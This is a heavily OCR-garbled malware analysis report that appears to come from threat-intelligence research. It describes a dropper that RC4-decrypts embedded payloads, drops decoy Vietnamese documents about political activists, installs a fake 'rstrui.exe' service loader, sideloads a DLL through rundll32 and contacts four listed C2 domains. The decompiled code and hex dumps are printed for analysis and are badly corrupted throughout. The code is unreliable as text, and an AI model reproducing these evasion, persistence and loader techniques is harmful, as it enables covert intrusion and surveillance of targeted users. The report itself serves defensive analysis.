*(vS1 - 2);
= a@12345678%bcd[ (unsigned int)(unsigned _ int8)*®(vsl - 2) »» 4];
= aB123456789abcd[v53 & @xF];

(unsigned _ int8)*(v51 - 1);

= a@12345678%abcd[v55 »> 415 |

aB12345678%abcd[vss & BxF];

(unsigned __ int8)*v51;

= aB12345678%abcd[v57 »> 41;
aB123456789abcd[v57 & BxF];

= a@123456789abed[ 33 4]
= a@123456789abcd[v59 & @xF];
g;

4;

52 )5

fun_MultiByteToWideChar({(int)&
58 = SetEnvironmentVariablel(
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souosooc|| .
0040500F || .
oouos012|| .
oou05015|| .
00405016

00405030/ | .
oou0503F || .
oouosous|| .
oouos0u6|| .
oouosoug|| .

0040504D

ecx=0012F

A AR B R H

8850 07
83C0 08
83c1 o4

noy byte ptr [eax+7], d1
.8

add ecx, 4

uF
.* OF85 7SFFFFF
. 68 E9FD000D
. 8DSD 28FBFFF

ecx, duord ptr [ebp=4D8]

. 8D85 ANFSFFF|lea eax, duord ptr [ebp-75C]
push  ecx
. 8DSD AOFSFFFlea ecx, duord ptr [ebp-760]
8985 AOFSFFF(noy duord ptr [ebp-760], eax
E8 FIEEFFFF |gall  00403F30

8B95 AOFSFFF|noy edx, dword pEr [ebp=768]
52 dx

68 54124000 |push  0B4E1254 UNICODE “DB99B56C™
FFD3

850 test  eax, eax
A58, (ASCIT| “EZBOEEBDADSDEC7A7EASAAC O5F COD9267 70 0BBAGIZ0816 00039307 OA9GOCTS 7FFFD55C6032 06CARABCDAATEZ37 B FEGT ABAZEF ORANAABBEF 09 165326FACZTT™)

1. Encrypt the data at 0x40E000 by random key, and write the modified PE file to
Temp directory, and then execute it through CreateProcess:

.data:0040EBB0 ; char byte 4BEAGR[447930]
.data:2048E008 byte 40E00O db @Fh
.data:@0e48ERE0
.data:@e48E881 db 4ch ; L
.data:@e40E002 db 58h ; X
.data:@e40E003 db 93h
.data:B048ERB4 db 4
.data:@040E685 db 6
.data:@040ER86 db 6
.data:@e48E087 db 7
.data:B048E083 db 8
.data:@040E009 db @oh
.data:004BEGBA db @ah
.data:@040EGEE db @Bh
.data:@e48E@8C db @ch
.data:@e48E68D db @Fzh
.data:BB48ERBE db @Flh
.data:@e40E08F db @Fh
.data:@e40E010 db 18h
.data:@e48E611 db 8agh
.data:@e48E012 db 12h
.data:@e48E013 db @Bzh
.data:B048E014 db 14h
.data:@e40E015 db 55h ; U
.data:@e40E016 db @AEh
.data:@e48E817 db 17h
.data:@@48E013 db  23h ; #
.data:@e48E019 db @ch
.data:Be48E81A db 1Ah
.data:@040E01B db @F3h
.data:@e48E01C db 27h ; '
.data:@e48E61D db 69h ; i
.data:@@48EQ1E db 1Eh
.data:@e48ER1F db 3Fh ; 7
.data:@e40E020 db 40h ; M
.data:@e46E821 db 51h ; 0
.data:@e40E022 db 2zh ; "
.data:@048E823 db  28h ; *
.data:B8048E024 db 7ah ; ©
.data:@040E825 db 6@h ; °
.data:@e48E026 db 26h ; &
.data:@e40E027 db 27h ; °
.data:@040E028 db &4h ; d
.data:Be40ER29 db 28h ; (
.data:B048EB2A db  2Eh ; .
.data:@040E@2E db  2Bh ; +
.data:@ee48E02C db @Eah
.data:@@e48E02D db 7eh ; p
00u05235|| . 8ack 28 esp, 28
oon05238|| . 6 08 ) hTemplateFile - HULL
oon0s23a|| . 6A 00 0 Attributes = @
oou0523c|| . 6 o4 u Hode - OPEN_ALWAYS
o0n0523E || . 6 00 L] pSecurity = MULL
oougs2u0|| . 6a 08 0 Sharelode = @
oonos2uz|| . 68 oooABND 10000000 fAccess = GEMERIG_WRITE
0105247 || . 8D8S BAFDFFF eax, dword ptr [ebp-2uC]
eax FileNane - “C:\DOGUME~\ADHINI~\LOCALS™\Tenp\5B7 .tnp"

FF15 46104001 call dword ptr [<&KERNEL32.CreateFil(lcreateFilew
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if ( Res (v62, ( ) » -t
{

)

AR B R H O

o (

)8

(v62); Read its own exe data

= Get (e);
= ) +15);
*( e ) +

= (int) + H
= )(dword_secees - ( JuES);
= 8;

+ 268);

I«

if ( > (vEs + 6) )
goto LABEL_160;

+ 40 " + 248;
)

{
LABEL_180:
if ( )
operator delete(( ) ¥
goto LABEL_115;

3

= (int)&vEa[*( ) +20) - "(

= 0;
memset(8.95, O, BxFFu);

=8;
fun_GenRcakEY( ( )8v97, ( )8 . B4);

= ( ) 3
fun_RCaDecode( (int)&v97, (
. t (&

IpReserved, @, @x48u);
ead =

ce
ThreadId =

-cb = 68;
-hProcess = @;
(& .8, 98,9, 0, 880

+6);

+12)]);

+

, 447979);

)&

[11)

, ) 88 v64 =

Encrypt resources

in your own data

, @) 88 -

)

Write the encrypted data to the exe in temp

sub_484338((

The following figure shows the comparison between the original file and the encrypted
file. It can be seen that there is no change in the code segment, except that the array of

)8

H

global variables 0xd000 is encrypted by the random key.

, 8, & i, .
Biecute the mod’iﬁed self, the ke\Jf exists in the process

#= CocCocUpdated.exe

Offset
0000CF&0
0000CE70
0000CEB0
0000CF S0
0000CFAQD
0000CFEOD
00o0CECO
0000CFDO
0000CFEQD
0000CFFO
oooopooon
00oopo10
o0oopozo
0000Do030
00000040
0000Do0s0
0000D0&0
00o0Do7o
00o0Dos0
00o0Do0s0

=]

Page 166 of 17994

0
an
an
oo
il
an

—
1

1
an
an
an
oo
an

3 =
—

Offset

7 & ¥ A B ¢ I E F
o0 00 00 00 00 00 00 00 oo
00 00 00 00 00 00 00 00 00
o0 00 00 00 00 00 00 00 00
o0 00 00 00 00 00 00 00 00
o0 00 00 00 00 00 00 00 oo

T
50}
B
E B
iE

CFG0

L©.2 UB.#. a1 7
MU=t 5 d [ +apg
G047 .92 ;ii=37
HOAPSYEXTIEN=0_
P=SPVUVRIKUYE]".
jfiDfdefeh)kk.b.j
Wmr+v™v epzr | 1Y
NIEPRa DR i4 REA
WosENIE. “1a.3011

=176 | Block:

5 SBTamp

‘|Oﬁfset
0000CF&D
0000CF70
no00ocE&n
0000CF90
0000CFAD
0000CFED
00o00cFen
0000CFDO
O000CFED
0000CFED
noooponn
0ooopo1o
00o0Dozo
0000D030
0000Do40
0000D0s0

n00oDoan

nooopoza

nonoongn
pooopogn W@

Page 167 of 17994

Offset

E. lygxii¥.+.g.A@”
Blnd 23316 OW0EAIY
0. %.@Z0iBP 1, Wy
LENLCp?l-srREL ¢
aDapn .mf . TBF . 0T

EE %.c2i..6if. .MEEIG

Sew (-

d+B.g.A1

il

Us,qfc-1"
1< mo4#E+9 | gh

0B AU bu..ie

=176 | Block:

1. If the file is bundled, it will decrypt and release a bundled file (the key is in the last
64 bytes) from a resource of resource type 10 and resource number 1, such as a
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Word document or a normal file, and then execute it through ShellExectue. The file
does not use the decoy file to release the bundled file, so the ID is wrong:

4 = FindResourceW(®, (LPCWSTR)1, (LPCWSTR)18);
iF (e

5 = SizeofResource(B, v4);
if (vE )
7 = LoadResource(@, vs);
if ((v7 )
¢ e Ext

va _:::kRa;:u'ce(.');
if (wE )

LOBYTE(v34) = 8;
[ sub_s@asce((const void "")&pszExt, B, vb - 64, (int)&uoa); |
=7

ToT H
memset(&v1cz, @, @xFFu);
105 = @3

fun_GenRc4kEY((int)&v1al, (int)vd, 64);

E pszExt;
fun_RCaDecode((int)& 181, (int)vs + 64, pszExt, vd5S - ( DWORD)pszExt);
et

cslen(va);

- (w3 + 1)) + v6;

memset(&v110,

8, @x206u);
vB@ = (unsigned __intlé a3
if ( !wesepy_s(&ps ox104u, lpFilelamz) )
if ( PathRenameExtensioni(&pszPath, va) )
4 = Createfilel(&pszPath, @x40000000u, @, @, 4u, B, 8);
if (via)
if (via !
{

| B X S R

String
RC Data

= e

3
I anifest

£

5. The executed temp process will first determine whether there are environment
variables of "C091A8C8" set, if any

If it is encrypted by the original Dropper, it will read the randomly generated 128-bit key
from the "DB99050C" environment variable, decrypt the code at 0x40e000, and then
decrypt one more layer and decompress one more layer, because the code has one
layer of encryption and compression in the original Dropper:
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memset (Bv9E, @, @xFFu);

—
fun_GenRe4kEY((int

s (int)8v1le, 64); First decrypt with a

fun RC4Decode((int » (int)dword 4B8EGR®, dword 4BEGQR, 447979);
VoD = §_ImageBase; random ke\f’
v27 AR *)VirtualAlloc(®, (SIZE_T)& ImageBase, Ox3000u, Ox40u);
if (a7 )

goto LABEL_75;
v2B = 85
do

]umrd_-msm[ 28] A= 28 + v28 / OxFF; decrypt again

+v28;

-{hile ( w28 < @xBDSEB );

if ( sub_4034E0(dword_40EG0, 447979, v27, &uB2) )
goto LABEL_75;
2 *((_DWORD *

+ 15);
29 + 128];

+ 132) / exldu;

1;

“)((char *)&va3 + 1) = v32;
1 " =8

if (vi2<=9)

{

406 LABEL_S57:
407 ) = *(_WORD *)(vi1 + 6);

L-H
V39 > Bu )

L4+ 4@ * vAB + 248) == 'ler.’ 88 *(_DWORD *)(v4l + 4@ * vi2 + 4) == ‘co’ )

if ( #4400 d>=
goto LABEL_75;

= 8U27[*(_OWORD *)(vél + 4@ * v4e + 12)];
42 )

(
422 for ( ; *(_DWORD *)va2; v42 += *((_DHORD *)va2 + 1) )
Extract:
120 {
121 if ( v18 = 828 )
122 {
123 vle = vig & @x1F;
124 iF ( 1vie )
125 {
126 while ( !*v1l )}
127 {
128 v1l6 += 255;
129 Ll
1s@ if ( vie > @xFFFFFE@L )
131 goto LABEL 81;
132 if (vS - (unsigned int)vil < 1)
133 goto LABEL_77;
134 }
135 vi8 = (unsigned _ int8)*vlld;
136 w16 += v13 + 31;
137 if ( v5 - (unsigned int)vlil < 2 )
138 goto LABEL _77;
139
140 V15 = (unsigned int)&7[-((unsigned int)*(unsigned _ intlé *)vil >> 2) - 1];
141 vd = vll + 2;
142 goto LABEL_62;
143 3}
144, if ( v1e >= 8x18 )
145
146 v19 = (int)&v7[-2048 * (vie & 8)];
147 vi6 = v1e & 73
143 if (1vie )
149
158 while ( I*v11 )
151 {
152 v1E += 255}
153 il
154 if ( vi6 > @xFFFFFE@L )
155 goto LABEL_81;
156 if ( v5 - (unsigned int)vlil < 1)
157 goto LABEL_77;
158
159 v16 4= (unsigned _ int8)*vilet + 7;
16@ if ( v5 - (unsigned int)vlil < 2 )
161 goto LABEL 77;
162
163 w28 = v19 - ((unsigned int)*(unsigned __ intle *)v1l »> 2};
1le4 vd = vll + 2;
165 if ( (BYTE *)v28 == v7 )
166 {
167 *a4 = (int)&v7[-a3];
168 if (v == (_BYTE *v5 )

6. The decrypted file is a PE file, which will be executed in memory after decryption, as
shown in the figure:
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0OF40000 4D Sh 90 60 03 00 60 00 04 60 00 00 FF FF 88 60 HZ? ... |...0i..
GOFL40016 B8 B8 @

BOF4 0020 80 B8
BO8F4 0030 00 B8
GOFL4 0040 80 B8
BOF4 0050 80 B8
BOF40060 00 B8
BOFL0670 88 B8
BOF4 0080 80 B8
BOFL 0090 88 B8
BOFL400A0 BB BB
HOF400B0 80 B8
BOFL06CH| 88 B8
GOFL06D6 88 B8
HOF400ED B0 B8
BOFLB6FB| CC 5D
868F401606| 6B 91
B0F401108| 14 48
0OFLG126| 88 16 60 OO B0 G2 G G0 65 66 01 00 66 60 68 88 M. .. ...
B68F46136| 85 B8 |
BOF40140 00 B8
B68FL4B150 68 B8
B68F48168|CO 9E
BOF40170 80 B8
BOFLB180 6B B8
0OFL40190 60 B8
BOF401A0 BB B8
BO8F4B1EB6 DB BB
B68F401CO| 60 DB
BOF40106 00 BB B8 6O OGO B0 OO BA B8 OGO AP OO B0 60 60 A0 ... ... .........

411 AF ( v40 > eu )

while (1)
{

32 + 48 * vAl + 248) == "ler.’ && *(_DWORD *)(v42 + 48 * v4l + 4) == 'co’ )
i ( Hhan e va0 )
goto LABEL 75;
H

421 43 = &v2B[*(_DWORD *)(v42 + 48 * val + 12)];
422 if (vaz )
47 {

for ( ; =(_DWORD *)v43; v43 += *((_DWORD *)v43 + 1) )

=(int *)((char *)&94 + 1) = (unsigned int)(*((_DWORD *)v43 + 1) - 8) >> 15
if ( =(int =)((char *)&94 + 1) > 8 )

)&v43[2 * vai + B] & OXFOEO) == 6x3000 )
*

28[*(_DWORD *)v43 + (*( WORD *)&43[2 * va4 + 8] & @xFFF)] += &v28[-vo3[13]];

}
while ( vaa < *(int *)((char *)&94 + 1) );

This code will release 3 files to c:\program files\ Microsoft \ Windows \system restore\
directory:

1]

o ’ -

| | {9FBAABB3-1709-4DE3-8C1B-48683F740A5F]
|| {9FBAABB3-1709-4DE3-B8C1B-48683F740A5F,.clsid

F 3
rstrul.exe

Then create the service and point to the rstrui.exe file:

Eting il g | RiTE

[ Ezun m 2019-4-30 10:24:34
[CDSecurity b 2019-4-30 10:24:34
ab] @A) REG S EEFEE)

ab]Deseription REG_ST Wicrosoft Windows Systen Restore 68

5| spl ayWame REG_ST Wicrosoft Windows Systen Restore 66

| ErrorContrel
al a b

2b|Ob jectFane - LocalSystem
Start HEG_DHORD 000000002 (2) 4
4 Type EEG_DHORD 000000010 (16) 4
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Rstrui. Exe is an attacker to write a loader, disguised Microsoft Windows System Restore
icon:

r'.iq rstrul.exe Bt ﬁﬂ

B | HTH | HeshTab [Fe | FRR | LLAIRMEE |

B =
1A

= f4iHAA I Microsoft® Windows Sysztem BRestore
Escxil] iy

WiEMeES 10,0 10586, 0

Fﬁ%ﬁ Microsoft® Windows® Operating System
FEERMRA 10,0, 10586.0

nirE i @ Microsoft Corporation. All righ. ..
Fo 204 KB

fERrEHl 20197430 10:24

S mig EE)

EIETTHE rstrui. exe

e [ BE || EAw

b

Mainly responsible for loading {9fbaa883-1709-4de3-8c1b-48683f740a5f} in the same
directory through rundlI32.
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51 memset(&v
52 1strepyh(&psz!
53 PathAppendi(&;
54 1streath(&p
55 Istrcati(&p
56 memset(&0, 8, Bx206u);
57 v = 83

8, Bx206u);
th, &Buff,

58 PathAppendW(&vE8, L"{9FBAABE3-17089-4DE3-BC1B-48683F740A5F}.clsid");

59 String2 = 3

68 memset(&v15, B, Bx286u);

61 1strepyW(&String2, &Buffer);
62 PathAppendi(&:
63 lstrcatW(&str
64 1strcati(&5tring2, L"
65 CommandLine = @;

66 memset (&7, @, BXIFEU);

Ld11");

A AR B R H

ing2, L"shell™);
“sanys

57 1strepyl(&Commandline, L"rundll™);
68 1strcati(&CommandLine, L"32");

69 1strcatW(&CommandLine, L

7@ 1strcatii(&C i L

71 1strcatii(&C &

72 1streathi(&C L")

73 1strcatii(&CommandLine, L"Control RunDLL"};
74 1strcati(&CommandLine, L" ");

75 1strcath(&Commandline, &v8);

76 ProcessIn hProcess = 8;

77 ProcessIn
78 ProcessIn

hThread = @;

dwProcessId = @;

79 ProcessInm dwThreadId = @;

8@ memset(&5ta , 8, @xddu);

81 StartupInfo.ch = 68;

82 value = @;

83 memset(&vS, @, BxFFEU);

84 if ( lGetEnvironmentVariablel(L"path”, &alus, 8x800u) )

85 value = @5

86 SetEnvironmentVariableW(L"{83558A16-9C19-4AF6-8D1A-F214D5FB5827}", &value);
87 1strcati(&value, L

88 1strcati(&value,

89 1streath(&Value, L";");

98 SetEnvironmentVariableW(L"path”, &value);

91 result = CreateProcessW(&pszPath, &CommandLine, @, @, @, @, @, & ilename, &StartupInfo, &ProcessInformation};

92| if ( result )

i
94, CloseHandle(Pro

as result = CloseHan
96 T

a7}

98| return result;

99}

SEHiEHERE timedate.dl|
RESEFEEVC 90

hThread)s

rration.hProcess);

File name {9fbaa883-1709-4de3-8c1b-48683f740a5f}. Clsid file when a DllLoader, PE
information is as follows:

HEE
dext
rdata
data
JTSrC

reloc

12| Buffer = @;
13 memset(&v3, @, @xFFEu);

Sz
CPlApplet

S5lAE
USER32.dlI

SHLWAPLAII
KERMEL32.dll

The function of this DLL is mainly to decrypt and load shellcode with the same directory
name as {9fbaa883-1709-4de3-8c1b-48683f740a5f}, as shown in the figure:

14 if ( !GetEnvironmentVariableW(L™{83558A16-9C19-4AF6-BD1A-F214D5FB5827}", &Buffer, @xB08u) )

15 Buffer = @;

16| SetEnvironmentVariableW(L"{83558A16-9C19-4AF6-8D1A-F214D5FB58271", @);

17| SetEnvironmentVariableW(L"pa
18| GetWindowsDirectorywW(&Bu

19| SetCurrentDirectoryW(&Buffer);

28| phNumirgs = @;

21| w GetCommandLinek();

22| vl = (WCHAR *)ve;

23 if (ve )

2| {

25 v2 = 2 ¥ IstrlenW(v@) + 2;

26 v3 = (LPCWSTR *)CommandLineToArgwi(vl, &pNumArgs};
27 if (v3)

28 7

29 floldProtect = @3

38 if ( virtualProtect{vl, w2, 4u, &10ldProtect) )
31

32 memset(vl, @, v2)

33 1streat(vl, *

34

35 1

36

1
37| GetModuleFileNamelW(hModule
38| PathRemoveExtensionk (&
39 [3f ( Isub 1eealdse(&cu

th", &Buffer);
5 Bx1led4u);

H

&Buffer, @xl@du);

)

48 ExitProcess(@);

41| return SleepEx(@xFFFFFFFF, 8);

42}

Enter the sub_10001480 function, the contents of the file will be decrypted, and the PE
will be loaded in memory:
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FILE *vi; //
FILE *v2; //

signed int i;
FILE *v0; //

whopen(al,

®

memset(ve.
Feek(v3,
fread(vs,

)
(

¥

i (ve)
Felose(v2);

i (v3)

for (

e
3 = sub_s
3
i ()
operator delete(v5);
return v3

A AR B R H

51 iF (VA R& v > v 8& 7 > 5 )
{

uslAlloc(e, v7 + 4096, 8x1000u, Bx4BU);

)(_DWORD, _DWORD, _DIORD)) ((char *)v3 +

13 - 2), (char *)al + %13, *(v13 - 1));

i
iF ( dword_1001087C )

/1t = dword_10010BFC(dword_10016C00, 1, 0) = 0;

The PE after decryption in memory is shown in the figure below:

DlIMain creates a thread to execute the export function Version. In the Version function,
the remote control function will be executed all the time. If it fails, the sleep 6s will

continue.

1808151D|| . 3BFB cmp
10800151F || ., - 7E 1D jle
10001521|| > | 8BCE moy
10001523 81E1 FFFFO08|| and
10001529|| .| 79 68 jns
10001528 || . | 49 dec
1000152C || . | 81C? GOO6FFF]| or
1080881532 |] . | 81 inc
18081533 || > | 8A1439 mov
18081536 3p1438 Xor
18081539|| . | 48 inc
10800153A|| . | 3BC6 cnp
1000153C|| .| 7C E3 j1
> 481C6 BOABFFFI add
10001544 | . 56 push
BDBE7 AAAAAIAIIEA

esi, eax
short 1800153E
BCX, eax
ecx, B8OOOFFFF
short 18861533
ecx
ecx, FFFFO008
ecx
dl, byte ptr [ecx+edi]
byte ptr [eax+edi], dl
eax
eax, esi
short 180861521
esi, FFFFO008
esi
psi__duned nte [edis1AAAAl

s

esi=00853200
Mg 1080151F

ooB10043 4D 5A 99 66 83 60 00 06

84 B0 608 68 FF FF 80 68

@OB16058 | B8 66 00 60 00 00 80 A8
HOB18068 | A 68 B8 680 68 88 @8 A8
HOB18678 | 8@ 68 68 680 68 88 @9 A8
HOB18688 | BE 1F BA BE 68 B4 @89 CD
HOB1B098 | 69 73 28 78 72 6F &7 72

40 00 66 60 60 60 0O A9
68 @8 80 60 668 60 688 @9
68 @8 80 60 ES 680 688 A9
21 B8 B1 4C CD 21 54 68
61 6D 28 63 61 6E 6E 6F

OBB100A8 | 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS

0081 00B8 | 6D 6F 64 65 2E OD OD OA 24 0O 6P 0O 06 00 00 00 mode....5..

@op164cs 96 BC 41 7a D2 DD 2F 29 D2 DD 2F 29 D2 DD 2F 29 *EHZE/)EI)]‘_I)
@op16608 23 1B E2 29 C8 DD 2F 29 DB A5 BC 29 DB DD 2F 29 “l?wf)%?ﬂf)

@0B1600ES D2 DD 2E 29 A1 DD 2F 29 23 1B E1 29 1B DD 2F 29 E.) Fal: ki k3

G0B1600F8 23 1B E@® 29 96 DD 2F 29 F1 32 FC 29 D1 DD 2F 29 “l?%/)??%ﬁ{/)

BoB16168 B4 33 E5 29 D3 DD 2F 29 B4 33 E6 29 D3 DD 2F 29 77 /)??E/)

GOE10118 B4 33 E3 29 D3 DD 2F 29 52 69 63 68 D2 DD 2F 29 77 /)Hi[:l‘lj‘i/)

AOBE10128 68 A8 60 68 A0 00 0O A8 58 45 A8 68 4G FE..Lﬁ
AARTA1AR RN RR A9 AR AA AA AA AA AA AA AR AR FA AR A? 21 | =0 _______._ 7t
SHERRE komuid.dll

EESEEVC 110

e

TEE L= SlAZE

text Version KERMNEL32.dll
rdata ADVAPIZ2.dII
.data SHELL32.dII
Jrsrc dbghelp.dll
reloc
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1B00L __stdcall D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

[¥]
——

if ( fdwReason == 1)

hModule = hinstDLL;
CreateThread(®, @x400000u, (LPTHREAD_START_ROUTINE)Version, @, @, @);

return 1;

O B W

-

1L{oid __stdcall __noreturn Version(LPVOID lpThreadParameter)
while ( 1)
sub_leeelese();

Sleep(6u);
h

00~ W bW b
—

—

Then a number less than 4 will be randomly generated, and C2 will be randomly
selected, as shown in the figure:

73 if (w17 >= ex10 )

74 j free(vis);

22 ;_i ( .éf ;'4) y |—— Randomly generate numbers
77 { within 4, select C2 by number
78 v4 = sub_10@13BCO((int)&v13);

79 LOBYTE(v25) = 2;

30 V5 = sub_10@14858( (int)& 15, v4);

81 if ( &u21 l= (void **)us )

82 {

83 if ( v23 »>= ex1e )

84 j__free(v21);

85 v23 = 15;

86 v22 = @

87 LOBYTE(v21) = @;

88 if ( *(_DWORD *)(v5 + 28) >= @xleéu )

89

98 v21l = *(void **)v5;

91 *(_DWORD *)v5 = 8;

92 }

93 else if ( *(_DWORD *)(v5 + 16) = -1 )

94 {

95 memmove (&v21, (const void *)vS, *(_DWORD *)(v5 + 16) + 1);
96

97 22 = *(_DWORD *)(vS + 16);

98 23 = *(_DWORD *)(v5 + 20);

99 *(_DWORD *)(v5 + 28) = 15;

100 *(_DWORD *)(v5 + 16) = @;

101 *(_BYTE *)v5 = @;

182

1e3 goto LABEL_36;

184

165 switch ( V3 ) —p Select C2 by the
1e6 generated number
187 case 1:

108 v6 = sub_10013B3@((int)&v13);

189 LOBYTE(v25) = 3;

11e goto LABEL_32;

111 case 2:

112 v6 = sub_10@13A90((int)&v13);

113 LOBYTE(v25) = 4;

114 goto LABEL_32;

115 case 3:

116 V6 = sub_10013A00((int)&v13);

117 LOBYTE(v25) = 5;

118 LABEL 32:

One of the functions to decrypt C2 is as follows:
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11| w1 = this;
12 wd = "Bgarx";
13| wvs "fed2 '
14 wh = ""9&s';
15| w7 = "*@m:';
16| w8 = ":";
17| *(_DWORD *)}(this + 20)
18| *( DWORD *)}(this + 16)
19, *(_BYTE *)this = @;
20| if ( ( BYTE)}v4 )
21 v2 = strlen{{const char *)&v4};
22 else
23 vz o= @3
24 sub leelaped(vi, &v4, v2);
25| return vl;
26}

nn
&=
W LN
-

The 4 domain names are as follows:

images.ucange.com

preload.ointalt.com

maintenance.allidayser.com

report.cottallid.com

The hash of the sample associated with the domain name is as follows:
2 ea902abe453b70cf77e402cc16eb552
cc7b9ee1b026e16a9d37e3988a714479
€60c35dd36c9f525007955e6b3a88b82

Binding files in this homologous sample:

Cc7b9ee1b026e16a9d37e3988a714479 bundled office files content is as follows:

NHA SANG LAP MANG XA HOI LIVENGUIDE Phan Bii Luit ANM- thiy dwee mot nhy chu t nhién, mot xu hueng cung cip dich vu  Nawdi ¢én

Newdi, cithd cickhau rung gian varao cin vé dia i+

Tinhing ¥ wong ban diu 6. qua gao di v

cong sv <6 cing chi

i gl Livensuids, e9m

budng ¥a tam buvés, 191 42 wién khai va thanh lip nén
nhimg ngudl G ning v

mang 33 hoi LivenGuide - mot mang 33 hoi mai thanh 13p va dugs vhiew ngudi. TS. L¢ Trung Tinh: T4 sho rng cudc 4% mdi con ngudi 12 mot hinh winh
quan tim wong thoi gian gin dav.e dep v 8¢ ddo. Trén hanh winh 46, mi ching 2 & via Séng hét minh via co

Nguoi sang lap LivenGuide - TS. L& Trung Tinh cam két “quvén t do nggn

thanh 1ip mang ¥3 bai pyTS. Lé Trng Tish: Than chiao Kidu
H

¢ gid v

ivenGuide phin nao két hop con ngudi hoat dong xi hai v kinh

i wanh dan che céng ¥ v boa bish uén Bicn Sing
e Viét Nam ty do va din chil ] ¥ thic 19 su cin thidt o vide Khéng chi trao 48, chia sé wén mang nhy cic mang x3 hoi khdc, Newdi

‘ngudi Vigt can khong chi wag d0i v6i nhay wén mang ma con phai gip g%, di cing, dung Livenguide 50 the o céc Hoat dong. Cac Hoat dong nay cg the 12 19 chic

motbudidoc: 2g. day ndu dn, cing nhau chay b9, hay ban thio ve che vige
phai lam d¢ b M3i g ding
3 i i thé thu phi.v

shing tins lim vids
thé gigi cing khoi day nhidu ¥ wég kish doanh wong toi, khi 46 Naui_khic va quing b Hoat déng cile minh, Newsi pio cing fuong tie mén.
dang di¢u hanh mt céng ty v du lich va 19 chifs hoat dong tai Chau Au. Toinhin, LivenGuide thi Hoat 43 sang duos bigt dén, v3 nhitn nevdi, tham gia.

i London, mat tung Gm i chinh LivenGuide 6454 cong.cu 4 moi Newi o8 thé tim thiv cic Hoat dong cia
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Translation:

2 ea902abe453b70cf77e402cc16eb552 bundled Office files content is as follows:

Translation:

The flow chart of the Dropper is as follows:

NHA SANG LAP MANG XA HOI LIVENGUIDE Phéan D&i Luat ANM

“..D& vb hiéu héa “Lut An ninh mang” ctia PCSVN, trang mang xa hoi
LivenGuide da ra doi.N6 do ngu®i Viét Nam Iap, danh cho dong bao
Viét Nam. Trang nay st dung 3 ngon ngir: Viét, Anh va Phap..". Truéc
bé bai 1am 16 théng tin khach hang ctia Facebook, nhigu ngudi dan
Viét Nam da lura chon chuyén sang diing mang xa hdi méi. Phong vién
Béo LDN c6 cudc phong van véi Tién siLé Trung Tinh, mot ngudi Viét
hién dang sinh song tai Phap va Anh, nha sang lap mang xa hoi
LivenGuide — mdt mang xa hdi méi thanh Iap va dugc nhiéu ngudi
quan tam trong thdi gian gan day.

Ngudi sang Iap LivenGuide - TS. Lé Trung Tinh cam két “quyén tu do
ngén luan”

PV Béo LDN: Mén chao Tién sf Lé Trung Tinh, dugc biét anh la nha
séng lap mang xa hdi LivenGuide. Xin anh cho biét co duyén ciing nhu
dong luc nao da thoi thic anh thanh Iap mang xa hoi nay?TS. Lé
Trung Tinh: Than chao Kiéu Phong va quy vi doc gia.

C6 thé néi LivenGuide phan nao két hop con ngudi hoat déng xa hoi
va kinh doanh trong téi. L& ngudi tranh dau cho céng Iy va hoa binh
trén Bién Dong cling nhu cho mét nudce Viét Nam tu do va dan chu, ti
y thirc 6 su can thiét cta viéc ngudi Viét can khong chi trao ddi véi
nhau trén mang ma con phai gap g, di cung, lam viéc cung, tham gia
cuing nhitng hoat déng tir nhé dén I6n. Nhing viéc nay gidp ching ta
hiéu nhau hon, t6 chirc véi nhau tét hon va dan dan tir nhirng thay déi
d6 sé thay ddi x4 hoi.

Ngoai ra nhiing ngay théng lam viéc tai London, mét trung tam tai
chinh nang dong cla thé gidi cling khoi dy nhiéu y tuéng kinh doanh
trong i, khi d6 dang dieu hanh mét cng ty vé du lich va t6 chirc
hoat déng tai Chau Au. Téi nhan thay dugc mét nhu cau tu nhién, mot

A AR B R H

X HERENSFLIVENGUIDERITANME

“. 9T EFECPVAY B LI, H3RRIALI idelEET , BE
HMEAAEEALIEN. X REERTIMES | HEE , EEE
iE...". ZBIAIRER T FacebookIEFER. , SR NEZE
FERRHOESEIAE,  LONSRENCESGA T BRE D AEMEEHA
ALe Trung Tinhi#+ , {23 32F4ELivenGuidefIBIRAA ,
LivenGuide2—MNFARETZEMLE | HEZRENE, B,
BlI#AALivenGuide - TS, Le Trung Tinhi#’ =[::
LDNIRAJIRIE : FELe Trung TinhiSHIARF , MEFER 34

Li i A. BEEESERBERIX MRS
FWLEAHA ? Le Trung Tinh : S=ZfKieu PhongFBAvEES .
BLASLivenGuideTERTHIZE RS T BAEM SRS PEIA.
{ERmESIEN SIIFIUR BHRENHENENRSE , BESER
SEEARTNYBEEN LEIEEE , FEREIIEK. B,
F&tE , BiF , BENNEEES. XEBEEMTRNSFEER
ERE , St ES MM SEH S PIEE AR,
BRTRBNIEEZI , R E— N RBENNSMPOBIETH
St , ATEEE —FERMEENRIFAEANS. .
HEITEANER , MR ARRERSNE , T8 7R
NRiERES,

MBI | B SE—AEMRMENEETC , KNSR T
LivenguideBFiBA , BFERERM , EERUKSR—REH TSt

LivenGuide,
LDNAJHRE : Le Trung TinhiE+-855HLivenGuideIXMEFAIE N
g?

TS. LeTrung Tinh : EAREMAREZHLSSIFTIMSIIRE. 7
BRERIRIE , BB DASEBTECNEE , SIRECHEMAE
TERARAERAERRANERR . XHEhHAHEELiveRIGuideix

| SUTHAT PHIEN TOA XET XU GIAO D!
LE PINH LUQNG-

L& DinhLuone sinhnam 1956.) 5 » : b

2016 o 3 Hop Thanhlamths

Ong Lugng bi bat vaongay 24 7 2017 khidang dizemdy trén diomg v2 saubhithimaia dinhta.
£ ol eiia o g

oY LiDuhl i Bt 86, o
thee dign 70 bouathinh v cinam 1999«

vaphinddiphitntod

2018, 5478 16/5201 ntinhNeh An dus
Dbl &

Qués Té vaensi
& heatdsnsLiDishl
LiDinhL Ena tai T inh N 1650

B3 Clare Al Toang i3 Quée T

L:Dinh1 ™ Qu
Leongphaidyec i tv dongaylap tée va vé disukitn
i $unhibeat 4éngLé Dish L

jeus
Gngmaidurs s at sy

Dinh Lugng 521

WA 201640 N0 mis Thép Formnosa v chas 445 2 ign

VitNam.

BhAitsin hay kb Vi Nam.

SU THAT PHIEN TOA XET XU’ GIAO DAN
LE DINH LUGNG

Lé Dinh Luong, sinh nam 1956, 1a gido dan gido xtr Vinh Hoa, gido
hat Ké Dira, gido phan Vinh. Ong tham gia dau tranh dau cho Céng ly
va Hoa binh, quyén con ngudi ciing nhu cting ba con dbi cong ty
Formosa phai bdi thuéng cho nan nhan céc tinh mién trung sau khi
